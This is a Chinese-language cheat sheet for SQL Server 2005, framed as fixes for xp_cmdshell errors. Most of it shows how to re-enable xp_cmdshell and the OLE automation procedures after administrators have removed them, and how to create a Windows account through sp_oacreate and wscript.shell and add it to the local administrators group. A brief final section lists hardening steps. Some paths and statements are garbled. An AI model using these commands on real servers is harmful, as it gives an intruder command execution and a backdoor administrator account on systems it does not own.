sqlserver 2005 cmdshell相关问题解决汇总

恢复sp_addextendedproc语句：
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname,@dllname)
return (0) -- sp_addextendedproc
GO
　　xp_cmdshell新的恢复办法(不用去管sp_addextendedproc是不是存在)
　　删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
　　恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
　　1.未能找到存储过程'master..xpcmdshell'之解决方法：
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'　　2.无法装载DLL xpsql70.dll或该DLL所引用的某一DLL。原因126(找不到指定模块。)
第一步执行：
sp_dropextendedproc "xp_cmdshell"
第二步执行：
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
　　3.无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因:127(找不到指定的程序。)
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
　　4.直接添加帐户法
　　删除odsole70.dll：
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
　　恢复odsole70.dll：
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
　　直接添加帐户命令：
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:windowssystem32cmd.exe /c net user 用户名 密码 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'c:windowssystem32cmd.exe/c net localgroup administrators 用户名 /add'
　　5.恢复时一些常用的SQL语句：
　　利用sp_addextendedproc恢复大部分常用存储扩展(得先利用最顶上的语句恢复自己)：
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
　　恢复cmdshell：
exec sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'
　　判断存储扩展是否存在(返回结果为1就ok)：
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
　　恢复xp_cmdshell(返回结果为1就ok)：
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.
sysobjectswhere xtype='x' and name='xp_cmdshell'
　　否则上传xplog7.0.dll：
exec master.dbo.addextendedproc 'xp_cmdshell','c:winntsystem32xplog70.dll'
　　
　　1.删除所有危险扩展：
Drop PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec master..sp_dropextendedproc sp_OACreate
Drop PROCEDURE sp_addextendedproc
　　2.删除xp_cmdshell扩展：
sp_dropextendedproc 'xp_cmdshell'
　　3.修补sa弱口令：
exec sp_password NULL,'新密码','sa'

（编辑：李大同）

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